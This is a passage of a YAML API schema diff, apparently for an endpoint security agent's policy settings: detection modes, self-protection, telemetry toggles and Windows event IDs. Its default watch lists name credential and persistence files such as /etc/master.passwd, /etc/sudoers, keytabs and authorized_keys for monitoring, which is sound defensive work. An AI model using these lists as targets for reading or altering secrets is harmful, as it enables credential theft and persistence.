+          - latest
+          - manual
+          - stable
+        title: Agent upgrade strategy
+        type: string
+      always_go_through_proxy:
+        title: Always go through proxy
+        type: boolean
+      antivirus_policy:
+        format: uuid
+        readOnly: true
+        title: Antivirus policy
+        type: string
+        x-nullable: true
+      antivirus_policy_name:
+        readOnly: true
+        title: Antivirus policy name
+        type: string
+      antivirus_profile:
+        readOnly: true
+        title: Antivirus profile
+        type: string
+      antivirus_profile_name:
+        readOnly: true
+        title: Antivirus profile name
+        type: string
+      audit_killswitch:
+        title: Audit killswitch
+        type: boolean
+      binary_download_enabled:
+        title: Binary download enabled
+        type: boolean
+      correlation_mode:
+        maximum: 3
+        minimum: 0
+        title: Correlation mode
+        type: integer
+      correlation_ruleset:
+        format: uuid
+        title: Correlation ruleset
+        type: string
+        x-nullable: true
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      device_control_policy:
+        format: uuid
+        readOnly: true
+        title: Device control policy
+        type: string
+        x-nullable: true
+      driverblock_mode:
+        maximum: 3
+        minimum: 0
+        title: Driverblock mode
+        type: integer
+      driverblock_strategy:
+        enum:
+          - blocklist
+          - heuristic
+        title: Driverblock strategy
+        type: string
+      feature_callback_tampering:
+        title: Feature callback tampering
+        type: boolean
+      feature_dse_tampering_mode:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Feature dse tampering mode
+        type: integer
+      feature_event_stacktrace:
+        title: Feature event stacktrace
+        type: boolean
+      feature_live_process_heuristics:
+        title: Feature live process heuristics
+        type: boolean
+      feature_ppl_antimalware:
+        title: Feature ppl antimalware
+        type: boolean
+      feature_process_tampering:
+        title: Feature process tampering
+        type: boolean
+      feature_windows_filesystem_events:
+        title: Feature windows filesystem events
+        type: boolean
+      fim_policy:
+        format: uuid
+        title: Fim policy
+        type: string
+        x-nullable: true
+      firewall_policy:
+        format: uuid
+        readOnly: true
+        title: Firewall policy
+        type: string
+        x-nullable: true
+      hibou_minimum_level:
+        minLength: 1
+        title: Hibou minimum level
+        type: string
+      hibou_mode:
+        maximum: 3
+        minimum: 0
+        title: Hibou mode
+        type: integer
+      hibou_skip_signed_ms:
+        title: Hibou skip signed ms
+        type: boolean
+      hibou_skip_signed_others:
+        title: Hibou skip signed others
+        type: boolean
+      hlai_files_minimum_level:
+        minLength: 1
+        title: Hlai files minimum level
+        type: string
+      hlai_files_mode:
+        maximum: 1
+        minimum: 0
+        title: Hlai files mode
+        type: integer
+      hlai_minimum_level:
+        minLength: 1
+        title: Hlai minimum level
+        type: string
+      hlai_mode:
+        maximum: 3
+        minimum: 0
+        title: Hlai mode
+        type: integer
+      hlai_pdf:
+        title: Hlai pdf
+        type: boolean
+      hlai_scan_libraries:
+        title: Hlai scan libraries
+        type: boolean
+      hlai_scripts_minimum_level:
+        minLength: 1
+        title: Hlai scripts minimum level
+        type: string
+      hlai_scripts_mode:
+        maximum: 3
+        minimum: 0
+        title: Hlai scripts mode
+        type: integer
+      hlai_skip_signed_ms:
+        title: Hlai skip signed ms
+        type: boolean
+      hlai_skip_signed_others:
+        title: Hlai skip signed others
+        type: boolean
+      hlai_vba:
+        title: Hlai vba
+        type: boolean
+      hlai_written_executable:
+        title: Hlai written executable
+        type: boolean
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      ioc_mode:
+        maximum: 3
+        minimum: 0
+        title: Ioc mode
+        type: integer
+      ioc_ruleset:
+        format: uuid
+        title: Ioc ruleset
+        type: string
+        x-nullable: true
+      ioc_scan_libraries:
+        title: Ioc scan libraries
+        type: boolean
+      ioc_scan_written_executable:
+        title: Ioc scan written executable
+        type: boolean
+      isolation_exclusions_revision:
+        maximum: 2147483647
+        minimum: 0
+        title: Isolation exclusions revision
+        type: integer
+        x-nullable: true
+      library_download_enabled:
+        title: Library download enabled
+        type: boolean
+      linux_exclusions:
+        minimum: 0
+        readOnly: true
+        title: Linux exclusions
+        type: integer
+      linux_paths_other_watched_globs:
+        default:
+          - /dev/shm/**
+          - /home/*/*
+          - /home/*/*/*
+          - /root/*
+          - /root/*/*
+          - /tmp/**
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      linux_self_protection:
+        title: Linux self protection
+        type: boolean
+      linux_self_protection_feature_hosts:
+        title: Linux self protection feature hosts
+        type: boolean
+      linux_startup_block:
+        title: Linux startup block
+        type: boolean
+      linux_use_isolation:
+        title: Linux use isolation
+        type: boolean
+      local_endpoint_cache_size:
+        default: 10240
+        maximum: 20480
+        minimum: 512
+        title: Local endpoint cache size
+        type: integer
+      loglevel:
+        enum:
+          - CRITICAL
+          - DEBUG
+          - ERROR
+          - INFO
+          - WARNING
+        title: Loglevel
+        type: string
+      macos_exclusions:
+        minimum: 0
+        readOnly: true
+        title: Macos exclusions
+        type: integer
+      macos_paths_muted_exact:
+        default:
+          - /Library/Bluetooth/com.apple.MobileBluetooth.ledevices.paired.db-wal
+          - /dev/null
+          - /dev/ttys001
+          - /private/var/root/Library/Logs/Bluetooth/bluetoothd-hci-latest.pklg
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_muted_globs:
+        default: []
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_muted_prefixes:
+        default:
+          - /System/Volumes/Data/.Spotlight-V100/
+          - /private/var/db/dslocal/nodes/Default/users/
+          - /private/var/folders/
+          - /sbin/
+          - /usr/libexec/
+          - /usr/sbin/
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_other_watched_exact:
+        default:
+          - /.ssh/authorized_keys
+          - /etc/aliases
+          - /etc/aliases.db
+          - /etc/bashrc
+          - /etc/group
+          - /etc/hosts
+          - /etc/krb5.keytab
+          - /etc/localtime
+          - /etc/mail.rc
+          - /etc/master.passwd
+          - /etc/networks
+          - /etc/ntp.conf
+          - /etc/passwd
+          - /etc/pf.conf
+          - /etc/pf.os
+          - /etc/profile
+          - /etc/protocols
+          - /etc/resolv.conf
+          - /etc/services
+          - /etc/shells
+          - /etc/sudoers
+          - /etc/zprofile
+          - /etc/zshrc
+          - /etc/zshrc_Apple_Terminal
+          - /private/var/at/at.allow
+          - /private/var/at/at.deny
+          - /private/var/at/cron.allow
+          - /private/var/at/cron.deny
+          - /var/run/utmpx
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_other_watched_globs:
+        default:
+          - /Users/*/*
+          - /Users/*/.config/*
+          - /Users/*/.config/*/*
+          - /Users/*/.ssh/authorized_keys
+          - /Users/*/Library/LaunchAgents/*
+          - /etc/cups/*
+          - /etc/pf/anchors/*
+          - /etc/postfix/*
+          - /etc/rc.*
+          - /etc/security/*
+          - /etc/ssh/*
+          - /etc/ssl/*
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_other_watched_prefixes:
+        default:
+          - /Library/LaunchAgents/
+          - /Library/LaunchDaemons/
+          - /Library/StartupItems/
+          - /System/Library/LaunchAgents/
+          - /System/Library/LaunchDaemons/
+          - /Users/
+          - /etc/
+          - /etc/pam.d/
+          - /etc/sudoers.d/
+          - /private/var/at/tabs/
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_read_watched_exact:
+        default:
+          - /.ssh/authorized_keys
+          - /etc/aliases
+          - /etc/aliases.db
+          - /etc/bashrc
+          - /etc/group
+          - /etc/hosts
+          - /etc/krb5.keytab
+          - /etc/localtime
+          - /etc/mail.rc
+          - /etc/master.passwd
+          - /etc/networks
+          - /etc/ntp.conf
+          - /etc/passwd
+          - /etc/pf.conf
+          - /etc/pf.os
+          - /etc/profile
+          - /etc/protocols
+          - /etc/resolv.conf
+          - /etc/services
+          - /etc/shells
+          - /etc/sudoers
+          - /etc/zprofile
+          - /etc/zshrc
+          - /etc/zshrc_Apple_Terminal
+          - /private/var/at/at.allow
+          - /private/var/at/at.deny
+          - /private/var/at/cron.allow
+          - /private/var/at/cron.deny
+          - /var/run/utmpx
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_read_watched_globs:
+        default:
+          - /Users/*/*
+          - /Users/*/.config/*
+          - /Users/*/.config/*/*
+          - /Users/*/.ssh/authorized_keys
+          - /Users/*/Library/LaunchAgents/*
+          - /etc/cups/*
+          - /etc/pf/anchors/*
+          - /etc/postfix/*
+          - /etc/rc.*
+          - /etc/security/*
+          - /etc/ssh/*
+          - /etc/ssl/*
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_read_watched_prefixes:
+        default:
+          - /Library/LaunchAgents/
+          - /Library/LaunchDaemons/
+          - /Library/StartupItems/
+          - /System/Library/LaunchAgents/
+          - /System/Library/LaunchDaemons/
+          - /Users/
+          - /etc/
+          - /etc/pam.d/
+          - /etc/sudoers.d/
+          - /private/var/at/tabs/
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_write_watched_exact:
+        default:
+          - /.ssh/authorized_keys
+          - /etc/aliases
+          - /etc/aliases.db
+          - /etc/bashrc
+          - /etc/group
+          - /etc/hosts
+          - /etc/krb5.keytab
+          - /etc/localtime
+          - /etc/mail.rc
+          - /etc/master.passwd
+          - /etc/networks
+          - /etc/ntp.conf
+          - /etc/passwd
+          - /etc/pf.conf
+          - /etc/pf.os
+          - /etc/profile
+          - /etc/protocols
+          - /etc/resolv.conf
+          - /etc/services
+          - /etc/shells
+          - /etc/sudoers
+          - /etc/zprofile
+          - /etc/zshrc
+          - /etc/zshrc_Apple_Terminal
+          - /private/var/at/at.allow
+          - /private/var/at/at.deny
+          - /private/var/at/cron.allow
+          - /private/var/at/cron.deny
+          - /var/run/utmpx
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_write_watched_globs:
+        default:
+          - /Users/*/*
+          - /Users/*/.config/*
+          - /Users/*/.config/*/*
+          - /Users/*/.ssh/authorized_keys
+          - /Users/*/Library/LaunchAgents/*
+          - /etc/cups/*
+          - /etc/pf/anchors/*
+          - /etc/postfix/*
+          - /etc/rc.*
+          - /etc/security/*
+          - /etc/ssh/*
+          - /etc/ssl/*
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_paths_write_watched_prefixes:
+        default:
+          - /Library/LaunchAgents/
+          - /Library/LaunchDaemons/
+          - /Library/StartupItems/
+          - /System/Library/LaunchAgents/
+          - /System/Library/LaunchDaemons/
+          - /Users/
+          - /etc/
+          - /etc/pam.d/
+          - /etc/sudoers.d/
+          - /private/var/at/tabs/
+        items:
+          minLength: 1
+          type: string
+        minItems: 0
+        type: array
+      macos_use_isolation:
+        title: Macos use isolation
+        type: boolean
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      network_isolation_exclusions:
+        minimum: 0
+        readOnly: true
+        title: Network isolation exclusions
+        type: integer
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      ransomguard_auto_blacklist:
+        title: Ransomguard auto blacklist
+        type: boolean
+      ransomguard_canaries_name:
+        minLength: 1
+        title: Ransomguard canaries name
+        type: string
+        x-nullable: true
+      ransomguard_heuristic_mode:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Ransomguard heuristic mode
+        type: integer
+      ransomguard_mode:
+        maximum: 3
+        minimum: 0
+        title: Ransomguard mode
+        type: integer
+      remote_shell_mode:
+        enum:
+          - disabled
+          - read
+          - read_write
+          - read_write_execute
+        title: Remote shell mode
+        type: string
+      revision:
+        readOnly: true
+        title: Revision
+        type: integer
+      self_protection:
+        title: Self protection
+        type: boolean
+      self_protection_feature_hosts:
+        title: Self protection feature hosts
+        type: boolean
+      self_protection_feature_safe_mode:
+        title: Self protection feature safe mode
+        type: boolean
+      self_protection_firewall:
+        title: Self protection firewall
+        type: boolean
+      sidewatch_mode:
+        maximum: 3
+        minimum: 0
+        title: Sidewatch mode
+        type: integer
+      sigma_mode:
+        maximum: 3
+        minimum: 0
+        title: Sigma mode
+        type: integer
+      sigma_ruleset:
+        format: uuid
+        title: Sigma ruleset
+        type: string
+        x-nullable: true
+      sleepjitter:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Sleepjitter
+        type: integer
+      sleeptime:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Sleeptime
+        type: integer
+      telemetry_alerts_limit:
+        title: Telemetry alerts limit
+        type: boolean
+      telemetry_alerts_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry alerts limit value
+        type: integer
+        x-nullable: true
+      telemetry_amsi_dynamic_scripts_limit:
+        title: Telemetry amsi dynamic scripts limit
+        type: boolean
+      telemetry_amsi_dynamic_scripts_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry amsi dynamic scripts limit value
+        type: integer
+        x-nullable: true
+      telemetry_amsi_dynamic_scripts_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry amsi dynamic scripts state
+        type: string
+      telemetry_amsi_other_scans_limit:
+        title: Telemetry amsi other scans limit
+        type: boolean
+      telemetry_amsi_other_scans_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry amsi other scans limit value
+        type: integer
+        x-nullable: true
+      telemetry_amsi_other_scans_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry amsi other scans state
+        type: string
+      telemetry_authentication:
+        title: Telemetry authentication
+        type: boolean
+      telemetry_authentication_limit:
+        title: Telemetry authentication limit
+        type: boolean
+      telemetry_authentication_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry authentication limit value
+        type: integer
+        x-nullable: true
+      telemetry_authentication_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry authentication state
+        type: string
+      telemetry_dns_resolution:
+        title: Telemetry dns resolution
+        type: boolean
+      telemetry_dns_resolution_limit:
+        title: Telemetry dns resolution limit
+        type: boolean
+      telemetry_dns_resolution_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry dns resolution limit value
+        type: integer
+        x-nullable: true
+      telemetry_dns_resolution_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry dns resolution state
+        type: string
+      telemetry_dotnet_library_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry dotnet library state
+        type: string
+      telemetry_driverload:
+        title: Telemetry driverload
+        type: boolean
+      telemetry_driverload_limit:
+        title: Telemetry driverload limit
+        type: boolean
+      telemetry_driverload_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry driverload limit value
+        type: integer
+        x-nullable: true
+      telemetry_driverload_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry driverload state
+        type: string
+      telemetry_file_download_limit:
+        title: Telemetry file download limit
+        type: boolean
+      telemetry_file_download_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry file download limit value
+        type: integer
+        x-nullable: true
+      telemetry_file_download_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry file download state
+        type: string
+      telemetry_file_limit:
+        title: Telemetry file limit
+        type: boolean
+      telemetry_file_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry file limit value
+        type: integer
+        x-nullable: true
+      telemetry_file_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry file state
+        type: string
+      telemetry_kube_pod_event_limit:
+        title: Telemetry kube pod event limit
+        type: boolean
+      telemetry_kube_pod_event_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry kube pod event limit value
+        type: integer
+        x-nullable: true
+      telemetry_kube_pod_event_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry kube pod event state
+        type: string
+      telemetry_library_load_limit:
+        title: Telemetry library load limit
+        type: boolean
+      telemetry_library_load_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry library load limit value
+        type: integer
+        x-nullable: true
+      telemetry_library_load_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry library load state
+        type: string
+      telemetry_log:
+        title: Telemetry log
+        type: boolean
+      telemetry_log_limit:
+        title: Telemetry log limit
+        type: boolean
+      telemetry_log_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry log limit value
+        type: integer
+        x-nullable: true
+      telemetry_log_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry log state
+        type: string
+      telemetry_named_pipe_limit:
+        title: Telemetry named pipe limit
+        type: boolean
+      telemetry_named_pipe_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry named pipe limit value
+        type: integer
+        x-nullable: true
+      telemetry_named_pipe_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry named pipe state
+        type: string
+      telemetry_network:
+        title: Telemetry network
+        type: boolean
+      telemetry_network_limit:
+        title: Telemetry network limit
+        type: boolean
+      telemetry_network_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry network limit value
+        type: integer
+        x-nullable: true
+      telemetry_network_listen_limit:
+        title: Telemetry network listen limit
+        type: boolean
+      telemetry_network_listen_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry network listen limit value
+        type: integer
+        x-nullable: true
+      telemetry_network_listen_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry network listen state
+        type: string
+      telemetry_network_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry network state
+        type: string
+      telemetry_on_alert_enabled:
+        title: Telemetry on alert enabled
+        type: boolean
+      telemetry_on_alert_live_overrides:
+        items:
+          enum:
+            - telemetry_file_state
+            - telemetry_named_pipe_state
+            - telemetry_network_listen_state
+            - telemetry_process_access_state
+            - telemetry_process_tamper_state
+            - telemetry_raw_device_access_state
+            - telemetry_raw_socket_creation_state
+            - telemetry_registry_state
+            - telemetry_url_request_state
+            - telemetry_wmi_event_state
+          type: string
+        type: array
+      telemetry_on_alert_post_alert_max_duration_secs:
+        maximum: 2147483647
+        minimum: 0
+        title: Telemetry on alert post alert max duration secs
+        type: integer
+      telemetry_on_alert_post_alert_max_event_count:
+        maximum: 2147483647
+        minimum: 0
+        title: Telemetry on alert post alert max event count
+        type: integer
+      telemetry_on_alert_pre_alert_event_count:
+        maximum: 2147483647
+        minimum: 1
+        title: Telemetry on alert pre alert event count
+        type: integer
+      telemetry_powershell:
+        title: Telemetry powershell
+        type: boolean
+      telemetry_powershell_limit:
+        title: Telemetry powershell limit
+        type: boolean
+      telemetry_powershell_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry powershell limit value
+        type: integer
+        x-nullable: true
+      telemetry_powershell_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry powershell state
+        type: string
+      telemetry_process:
+        title: Telemetry process
+        type: boolean
+      telemetry_process_access_limit:
+        title: Telemetry process access limit
+        type: boolean
+      telemetry_process_access_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry process access limit value
+        type: integer
+        x-nullable: true
+      telemetry_process_access_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry process access state
+        type: string
+      telemetry_process_limit:
+        title: Telemetry process limit
+        type: boolean
+      telemetry_process_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry process limit value
+        type: integer
+        x-nullable: true
+      telemetry_process_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry process state
+        type: string
+      telemetry_process_tamper_limit:
+        title: Telemetry process tamper limit
+        type: boolean
+      telemetry_process_tamper_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry process tamper limit value
+        type: integer
+        x-nullable: true
+      telemetry_process_tamper_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry process tamper state
+        type: string
+      telemetry_raw_device_access_limit:
+        title: Telemetry raw device access limit
+        type: boolean
+      telemetry_raw_device_access_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry raw device access limit value
+        type: integer
+        x-nullable: true
+      telemetry_raw_device_access_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry raw device access state
+        type: string
+      telemetry_raw_socket_creation_limit:
+        title: Telemetry raw socket creation limit
+        type: boolean
+      telemetry_raw_socket_creation_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry raw socket creation limit value
+        type: integer
+        x-nullable: true
+      telemetry_raw_socket_creation_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry raw socket creation state
+        type: string
+      telemetry_registry_limit:
+        title: Telemetry registry limit
+        type: boolean
+      telemetry_registry_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry registry limit value
+        type: integer
+        x-nullable: true
+      telemetry_registry_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry registry state
+        type: string
+      telemetry_remotethread:
+        title: Telemetry remotethread
+        type: boolean
+      telemetry_remotethread_limit:
+        title: Telemetry remotethread limit
+        type: boolean
+      telemetry_remotethread_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry remotethread limit value
+        type: integer
+        x-nullable: true
+      telemetry_remotethread_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry remotethread state
+        type: string
+      telemetry_scheduled_tasks_limit:
+        title: Telemetry scheduled tasks limit
+        type: boolean
+      telemetry_scheduled_tasks_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry scheduled tasks limit value
+        type: integer
+        x-nullable: true
+      telemetry_scheduled_tasks_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry scheduled tasks state
+        type: string
+      telemetry_service_limit:
+        title: Telemetry service limit
+        type: boolean
+      telemetry_service_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry service limit value
+        type: integer
+        x-nullable: true
+      telemetry_service_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry service state
+        type: string
+      telemetry_url_request_limit:
+        title: Telemetry url request limit
+        type: boolean
+      telemetry_url_request_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry url request limit value
+        type: integer
+        x-nullable: true
+      telemetry_url_request_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry url request state
+        type: string
+      telemetry_usb_activity_limit:
+        title: Telemetry usb activity limit
+        type: boolean
+      telemetry_usb_activity_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry usb activity limit value
+        type: integer
+        x-nullable: true
+      telemetry_usb_activity_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry usb activity state
+        type: string
+      telemetry_user_group_limit:
+        title: Telemetry user group limit
+        type: boolean
+      telemetry_user_group_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry user group limit value
+        type: integer
+        x-nullable: true
+      telemetry_user_group_state:
+        enum:
+          - disabled
+          - live
+          - on_alert
+        title: Telemetry user group state
+        type: string
+      telemetry_wmi_event_limit:
+        title: Telemetry wmi event limit
+        type: boolean
+      telemetry_wmi_event_limit_value:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Telemetry wmi event limit value
+        type: integer
+        x-nullable: true
+      telemetry_wmi_event_state:
+        enum:
+          - disabled
+          - on_alert
+        title: Telemetry wmi event state
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      thread_download_enabled:
+        title: Thread download enabled
+        type: boolean
+      updated_fields:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        title: Updated fields
+        type: object
+      use_driver:
+        readOnly: true
+        title: Use driver
+        type: boolean
+      use_isolation:
+        title: Use isolation
+        type: boolean
+      use_process_block:
+        readOnly: true
+        title: Use process block
+        type: string
+      vulnerability_policy:
+        format: uuid
+        title: Vulnerability policy
+        type: string
+        x-nullable: true
+      windows_eventlog_config:
+        default:
+          detection_events:
+            Application|Application Error:
+              excluded: []
+              included: []
+            Application|Application Hang:
+              excluded: []
+              included: []
+            Application|MSSQLSERVER:
+              excluded: []
+              included:
+                - 15457
+            Application|Microsoft-Windows-User Profiles Service:
+              excluded: []
+              included: []
+            Application|Microsoft-Windows-WMI:
+              excluded: []
+              included: []
+            Application|Microsoft-Windows-Winlogon:
+              excluded: []
+              included: []
+            Application|MsiInstaller:
+              excluded: []
+              included: []
+            Application|SecurityCenter:
+              excluded: []
+              included: []
+            Application|Windows Error Reporting:
+              excluded: []
+              included: []
+            Application|Wow64 Emulation Layer:
+              excluded: []
+              included: []
+            Microsoft-Windows-CodeIntegrity/Operational|Microsoft-Windows-CodeIntegrity:
+              excluded: []
+              included: []
+            Microsoft-Windows-NTLM/Operational|Microsoft-Windows-NTLM:
+              excluded: []
+              included: []
+            Microsoft-Windows-PowerShell/Operational|Microsoft-Windows-PowerShell:
+              excluded: []
+              included: []
+            Microsoft-Windows-TerminalServices-LocalSessionManager/Operational|Microsoft-Windows-TerminalServices-LocalSessionManager:
+              excluded: []
+              included: []
+            ? Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational|Microsoft-Windows-TerminalServices-RemoteConnectionManager
+            : excluded: []
+              included: []
+            Security|Microsoft-Windows-Eventlog:
+              excluded: []
+              included: []
+            Security|Microsoft-Windows-Security-Auditing:
+              excluded: []
+              included:
+                - 4608
+                - 4609
+                - 4610
+                - 4611
+                - 4612
+                - 4614
+                - 4615
+                - 4616
+                - 4618
+                - 4621
+                - 4622
+                - 4624
+                - 4625
+                - 4634
+                - 4647
+                - 4648
+                - 4649
+                - 4697
+                - 4698
+                - 4699
+                - 4700
+                - 4701
+                - 4702
+                - 4703
+                - 4704
+                - 4705
+                - 4706
+                - 4707
+                - 4713
+                - 4716
+                - 4717
+                - 4718
+                - 4719
+                - 4720
+                - 4722
+                - 4723
+                - 4724
+                - 4725
+                - 4726
+                - 4727
+                - 4728
+                - 4729
+                - 4730
+                - 4731
+                - 4732
+                - 4733
+                - 4734
+                - 4735
+                - 4737
+                - 4738
+                - 4739
+                - 4740
+                - 4741
+                - 4742
+                - 4743
+                - 4744
+                - 4745
+                - 4746
+                - 4747
+                - 4748
+                - 4749
+                - 4750
+                - 4751
+                - 4752
+                - 4753
+                - 4754
+                - 4755
+                - 4756
+                - 4757
+                - 4758
+                - 4759
+                - 4760
+                - 4761
+                - 4762
+                - 4764
+                - 4765
+                - 4766
+                - 4767
+                - 4768
+                - 4769
+                - 4770
+                - 4771
+                - 4772
+                - 4773
+                - 4774
+                - 4776
+                - 4777
+                - 4778
+                - 4779
+                - 4781
+                - 4793
+                - 4797
+                - 4798
+                - 4799
+                - 4800
+                - 4801
+                - 4802
+                - 4803
+                - 4820
+                - 4821
+                - 4822
+                - 4823
+                - 4824
+                - 4825
+                - 4826
+                - 4865
+                - 4866
+                - 4867
+                - 4870
+                - 4886
+                - 4887
+                - 4888
+                - 4893
+                - 4898
+                - 4902
+                - 4904
+                - 4905
+                - 4907
+                - 4931
+                - 4932
+                - 4933
+                - 4946
+                - 4948
+                - 4956
+                - 4964
+                - 4985
+                - 5024
+                - 5025
+                - 5029
+                - 5030
+                - 5033
+                - 5034
+                - 5035
+                - 5037
+                - 5059
+                - 5136
+                - 5137
+                - 5138
+                - 5139
+                - 5140
+                - 5145
+                - 6144
+                - 6145
+                - 6272
+                - 6273
+                - 6278
+                - 6416
+                - 6423
+                - 6424
+            System|Microsoft Antimalware:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Bits-Client:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Directory-Services-SAM:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-DistributedCOM:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Eventlog:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-GroupPolicy:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Kernel-General:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Kernel-Power:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-TaskScheduler:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-WER-SystemErrorReporting:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-WindowsUpdateClient:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Wininit:
+              excluded: []
+              included: []
+            System|Microsoft-Windows-Winlogon:
+              excluded: []
+              included: []
+            System|Service Control Manager:
+              excluded: []
+              included: []
+            System|User32:
+              excluded: []
+              included: []
+            Windows Powershell|PowerShell:
+              excluded: []
+              included: []
+          telemetry_events:
+            Application|Application Error:
+              excluded: []
+              included: []
+            Application|Application Hang:
+              excluded: []
+              included: []
+            Application|MSSQLSERVER:
+              excluded: []
+              included:
+                - 15457
+            Application|Microsoft-Windows-User Profiles Service:
+              excluded: []
+              included: []
+            Application|Microsoft-Windows-WMI:
+              excluded: []
+              included: []
+            Application|Microsoft-Windows-Winlogon:
+              excluded: []
+              included: []
+            Application|MsiInstaller:
+              excluded: []
+              included: []
+            Application|SecurityCenter:
+              excluded: []
+              included: []
+            Application|Windows Error Reporting:
+              excluded: []
+              included: []
+            Application|Wow64 Emulation Layer:
+              excluded: []
+              included: []
+            Microsoft-Windows-CodeIntegrity/Operational|Microsoft-Windows-CodeIntegrity:
+              excluded: []
+              included: []
+            Microsoft-Windows-NTLM/Operational|Microsoft-Windows-NTLM:
+              excluded: []
+              included: []
+            Microsoft-Windows-PowerShell/Operational|Microsoft-Windows-PowerShell:
+              excluded: []
+              included: []
+            Microsoft-Windows-TerminalServices-LocalSessionManager/Operational|Microsoft-Windows-TerminalServices-LocalSessionManager:
+              excluded: []
+              included: []
+            ? Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational|Microsoft-Windows-TerminalServices-RemoteConnectionManager
